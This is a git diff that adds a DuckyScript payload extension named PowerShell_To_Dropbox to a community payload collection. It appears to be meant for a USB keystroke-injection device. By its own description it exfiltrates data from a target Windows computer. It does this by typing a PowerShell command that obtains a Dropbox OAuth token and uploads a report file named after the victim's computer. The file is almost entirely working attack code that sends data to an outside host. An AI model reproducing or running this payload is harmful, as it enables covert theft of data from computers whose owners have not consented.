diff --git a/payloads/extensions/community/PowerShell_To_Dropbox.txt b/payloads/extensions/community/PowerShell_To_Dropbox.txt new file mode 100644 index 0000000..e7ffd9f --- /dev/null +++ b/payloads/extensions/community/PowerShell_To_Dropbox.txt @@ -0,0 +1,21 @@ +REM Title: PowerShell_To_Dropbox +REM Author: Who-Is-Julien +REM Description: This DuckyScript extension exfiltrates data (for example the result of a command) from the target computer by submitting a file to your Dropbox. +REM Target: Windows 10, 11 + +REM For usage instructions look at https://github.com/Who-Is-Julien/Ducky-Utilities/blob/main/PowerShell_To_Dropbox/README.md + + +DEFINE REFRESH_TOKEN XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX +DEFINE APP_KEY XXXXXXXXXXXXXXX +DEFINE APP_SECRET XXXXXXXXXXXXXXX + +STRING Invoke-RestMethod -Uri "https://content.dropboxapi.com/2/files/upload" -Method POST -Headers @{"Authorization" = "Bearer $((Invoke-RestMethod -Uri "https://api.dropboxapi.com/oauth2/token" -Method POST -Headers @{"Content-Type" = "application/x-www-form-urlencoded"} -Body @{grant_type = "refresh_token"; refresh_token = " +STRING REFRESH_TOKEN +STRING "; client_id = " +STRING APP_KEY +STRING "; client_secret = " +STRING APP_SECRET +STRING "}).access_token)"; "Content-Type" = "application/octet-stream"; "Dropbox-API-Arg" = '{ "path": "/reports/' + $env:computername + '.txt", "mode": "add", "autorename": true, "mute": false }'} -Body $report | Out-Null +DELAY 500 +ENTER